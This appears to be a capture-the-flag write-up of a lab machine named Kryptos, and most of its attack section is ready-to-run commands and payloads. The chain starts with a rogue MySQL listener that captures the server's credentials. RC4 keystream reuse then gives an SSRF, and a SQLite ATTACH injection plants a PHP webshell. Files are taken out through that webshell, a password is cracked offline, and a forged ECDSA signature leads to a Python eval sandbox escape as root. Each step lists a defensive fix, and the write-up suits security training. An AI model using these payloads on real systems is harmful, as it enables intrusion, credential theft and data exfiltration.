Kryptos
Summary
The Kryptos web application ($TARGET) exposed a login form that accepted a client-supplied database hostname, which I redirected to a rogue MySQL server to intercept the application's own database credentials and gain an authenticated Cryptor session. The Cryptor utility reused its RC4 keystream across every operation, so encrypting a chosen plaintext recovered the full keystream via XOR and allowed decryption of an opaque ciphertext parameter that served as an SSRF gateway into a developer application bound exclusively to 127.0.0.1.
A SQLite injection in that internal app, exploiting SQLite's ATTACH DATABASE construct, wrote a PHP webshell to the public web root and gave command execution as www-data. Post-exploitation uncovered a plaintext credential hint file (creds.old) and a VimCrypt-encrypted SSH password file belonging to user rijndael; cracking the VimCrypt material offline yielded the SSH passphrase and the first flag.
For root, rijndael's home directory contained kryptos.py, a Bottle signing service on localhost:81 that derived its ECDSA nonce from a custom modular-exponentiation RNG with a critically small and repeating state space. Brute-forcing the entire state space recovered the live seed-secret pair, enabling a forged validly-signed request whose my own Expression field was evaluated server-side by Python's eval() as root, returning the root flag through a class-hierarchy sandbox escape.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export TOKEN="<the-token-you-captured>"
export KEY="<the-key-you-recovered>"Attack path: how the box was taken
Exact commands 2
Identify open ports and service banners.
$ nmap -Pn -sV -sC -p 22,80 --open $TARGET
22/tcp open ssh OpenSSH 7.6p1
80/tcp open http Apache httpdDownload the login page and list all form fields; confirm the db parameter and the hidden CSRF token.
$ curl -sS -c cookies.txt http://$TARGET/ -o index.html && grep -E 'name=|action=' index.htmlExact commands 3
Extract the per-request CSRF token required by the login form.
$ TOKEN=$(curl -sS http://$TARGET/ | grep -oP 'name="token" value="\K[^"]+'); echo "Captured token: $TOKEN"Start the rogue MySQL listener on my machine (tun0 interface); leave it running in the background.
$ msfconsole -q -x 'use auxiliary/server/capture/mysql; set SRVHOST 0.0.0.0; set SRVPORT 3306; set JOHNPWFILE /tmp/kryptos_mysql; run -j'Submit the login form with db pointing at the rogue listener; the server's PDO layer will authenticate there and the response will carry an authenticated session cookie.
$ curl -sS -c cryptor_cookies.txt -X POST http://$TARGET/ --data "username=admin&password=$PASSWORD3&db=$ATTACKER_IP&token=$TOKEN" -L -v 2>&1 | grep -E 'Set-Cookie|HTTP/'FixRemove client control over the database connection endpointCritical
Exact commands 3
Encrypt a known all-A plaintext through the authenticated Cryptor; the length must equal the target ciphertext to be decrypted.
$ curl -sS -c cryptor_cookies.txt -b cryptor_cookies.txt -X POST http://$TARGET/encrypt.php --data 'plaintext=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' -o chosen_ct.hexRecover the keystream and decrypt the SSRF URL; replace <OBSERVED_SSRF_CIPHERTEXT_HEX> with the hex of the opaque parameter captured from the Cryptor session.
$ python3 -c "
chosen_ct = bytes.fromhex(open('chosen_ct.hex').read().strip())
chosen_pt = b'A' * len(chosen_ct)
keystream = bytes(a ^ b for a, b in zip(chosen_ct, chosen_pt))
target_ct = bytes.fromhex('<OBSERVED_SSRF_CIPHERTEXT_HEX>')
print(bytes(a ^ b for a, b in zip(target_ct, keystream)).decode())
"Trigger SSRF by submitting an RC4-encrypted encoding of the internal dev URL; the Cryptor decrypts it and fetches the resulting 127.0.0.1 address server-side. Inspect the response for sqlite_test_page.php.
$ curl -sS -c cryptor_cookies.txt -b cryptor_cookies.txt -X POST http://$TARGET/decrypt.php --data 'ciphertext=<RC4_ENCRYPTED_INTERNAL_URL>'FixReplace the RC4 Cryptor with a modern authenticated encryption scheme and never reuse a nonceCritical
Exact commands 3
Route the SQLite ATTACH DATABASE payload through the Cryptor SSRF relay; replace <HASH> with the hash segment of the internal dev path discovered in step 3.
$ PAYLOAD=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"1;ATTACH DATABASE '/var/www/html/webshell.php' AS loot;CREATE TABLE loot.x(y TEXT);INSERT INTO loot.x VALUES('<?php system(\$_GET[\"cmd\"]); ?>');--\"))")
curl -sS -c cryptor_cookies.txt -b cryptor_cookies.txt "http://$TARGET/ssrf_proxy?url=$(python3 -c "import urllib.parse; print(urllib.parse.quote('http://127.0.0.1/dev/<HASH>/sqlite_test_page.php?no_results=1&bookid='+$PAYLOAD))")"
Confirm code execution; expected: uid=33(www-data).
$ curl -sS "http://$TARGET/webshell.php?cmd=id"List the web root to locate creds.old and other files of interest.
$ curl -sS "http://$TARGET/webshell.php?cmd=ls+-la+/var/www/html/"FixParameterize all SQLite queries and deny the ATTACH DATABASE privilegeCritical
Exact commands 3
Read the plaintext credential hint file; expect: rijndael / <withheld>.
$ curl -sS "http://$TARGET/webshell.php?cmd=cat+/var/www/html/creds.old"Locate and exfiltrate the VimCrypt-encrypted file from rijndael's home directory via base64 over the web shell.
$ curl -sS "http://$TARGET/webshell.php?cmd=find+/home/rijndael+-maxdepth+2+-type+f" && curl -sS "http://$TARGET/webshell.php?cmd=base64+/home/rijndael/<VIMCRYPT_FILENAME>" | base64 -d > rijndael.vimcryptExtract the crackable VimCrypt hash format and run offline dictionary attack; expected plaintext: <withheld>.
$ vim2john rijndael.vimcrypt > rijndael.hash && john --wordlist=/usr/share/wordlists/rockyou.txt rijndael.hashFixRemove plaintext credential hint files and replace VimCrypt storage with a secure secrets managerHigh
Exact commands 2
Confirm identity and read the user flag -> <user.txt>
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null rijndael@$TARGET 'id; cat /home/rijndael/user.txt'
uid=1000(rijndael)Retrieve the port-81 signing service source for offline RNG analysis.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null rijndael@$TARGET 'cat /home/rijndael/kryptos/kryptos.py'Exact commands 2
Upload the RNG brute-force script to the target.
$ sshpass -p "$PASSWORD" scp -q -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -o PubkeyAuthentication=no /tmp/kryptos_brute_id.py rijndael@$TARGET:/tmp/kryptos_brute_id.pyRun the script; it iterates seed_next=pow(g,seed,p) for every candidate seed and probes localhost:81 until the predicted nonce matches the live service, then prints FOUND_SEED and FOUND_SECRET.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null rijndael@$TARGET 'python3 /tmp/kryptos_brute_id.py http://127.0.0.1:81/'FixReplace the custom modular-exponentiation RNG with RFC 6979 deterministic ECDSA nonce generationCritical
Exact commands 2
Upload the exploit script that builds the forged ECDSA-signed request and embeds the sandbox-escape payload in the Expression field.
$ sshpass -p "$PASSWORD" scp -q -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -o PubkeyAuthentication=no /tmp/kryptos_rootflag.py rijndael@$TARGET:/tmp/kryptos_rootflag.pyRun the exploit with the brute-forced seed and secret; the Expression payload traverses Python's class hierarchy to reach os.popen('cat /root/root.txt').read() as root -> <root.txt>
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null rijndael@$TARGET "python3 /tmp/kryptos_rootflag.py http://127.0.0.1:81/ $KEY 4"